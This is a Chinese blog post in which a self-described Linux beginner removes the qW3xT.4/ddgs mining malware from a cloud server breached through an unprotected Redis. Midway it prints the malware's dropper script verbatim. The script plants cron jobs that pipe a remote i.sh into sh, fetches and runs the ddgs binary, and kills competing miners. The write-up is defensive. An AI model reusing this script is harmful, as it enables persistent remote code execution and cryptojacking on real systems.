记一次 qW3xT.4,解决挖矿病毒。

这事得从头开始说起,本人Linux小白,入IT行业也不久,在阿里云买了个服务器玩玩。最近感觉我的服务器特别卡,打开数据库都半天,刚开始以为网咯不好也没太在意。

最近一直都这么慢,受不了了,于是提了个工单,结果说我配置太低叫我买个更高配置的机器就不会了,纳尼??????

求助别人果然不靠谱,但突然激发了我的思路,查看CPU的消耗!!!

利用top命令:

记一次 qW3xT.4,解决挖矿病毒。_第1张图片

这时候问题出来了,wtf,简直不要13 face,最高cpu占用100%,那我用啥???

 

这才意识到,中毒了,想起前几天阿里云一直给我发的短信提醒:

根据进程id 一看究竟,ps -ef|grep 进程id   

果断 kill 掉这些进程,删除qW3xT.4文件。

记一次 qW3xT.4,解决挖矿病毒。_第2张图片

删除之后kill掉qW3xT.4该进程,但是一段时间之后,发现该行程又重新启动,肯定是有守护进程,观察top命令下的进程,发现一个可疑的进程,直接kill掉。

记一次 qW3xT.4,解决挖矿病毒。_第3张图片

突然想起今天ESS控制台多了一条异地登录记录,于是去.ssh目录看看

记一次 qW3xT.4,解决挖矿病毒。_第4张图片

这可是无密登录的钥匙啊!用于主机之间的无密通信。果断删。

 

一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表

crontab -l

原来是它在作祟!删除计划任务 crontab -r

于是百度这个定时任务参数意思:

curl 
-f  - fail在HTTP错误(H)上静默失败(根本没有输出)
-s  -silent静音模式。 不要输出任何东西
      --socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理
      --socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理
      --socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理
      --socks5-hostname HOST [:PORT] SOCKS5代理,将主机名传递给代理
      --socks5-gssapi-service名称为gssapi的SOCKS5代理服务名称
      --socks5-gssapi-nec与NEC SOCKS5服务器的兼容性
-S   --show-error显示错误。 使用-s时,make curl会在出现错误时显示错误
-L   --location遵循重定向(H)
      --location-trusted like --location并将auth发送给其他主机(H)

注意这个命令不会下载和执行sh脚本。因为我把管道符去掉了。看到的仅仅是打印的信息。 大概说下这个脚本的意思:

  1. 设置环境变量,写定时任务
  2. 查看ddgs.3013进程,如果没有该进程,重新下载该文件,然后给它加执行权限,并执行。
  3. 批量根据关键字杀进程。

计划任务删除完成之后,这个13又开始运行。太顽固了。

于是我又看计划任务的内容,是否是有东西没有删除干净。

[root@FantJ tmp]# curl -fsSL http://149.56.106.215:8000/i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root


ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

发现计划任务在服务器中创建了几个文件,

/var/spool/cron/crontabs/root

/var/spool/cron/root

内容是*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh。(与计划任务相同)

将计划任务中创建的文件删除。

最终,这个挖矿病毒终于删除完成
 

反思

问题解决了,过段时间再看看进程情况,应该是没有了,可以说杀的挺彻底了。那么这问题为什么会出现呢。

 

还得回到阿里云给我的提示:redis。因为自己玩,所以redis的密码设置的很简单甚至没设密码,被扫到也是很不费劲的事,然后我把密码进行改正。(通过配置文件requirepass或者redis-cli``config set requirepass xxxx),更安全的话,把bindIp设置成自己用的,然后更改默认端口。我没有重要数据,所以稍微意思下就行了,下次再来我再折腾。

不过这个13有个很良心的操作,就是没有删我的redis的keys,很有职业操守。但是还是被金钱奴隶。

 

 

 

 

 

 

 

 

你可能感兴趣的:(记一次 qW3xT.4,解决挖矿病毒。)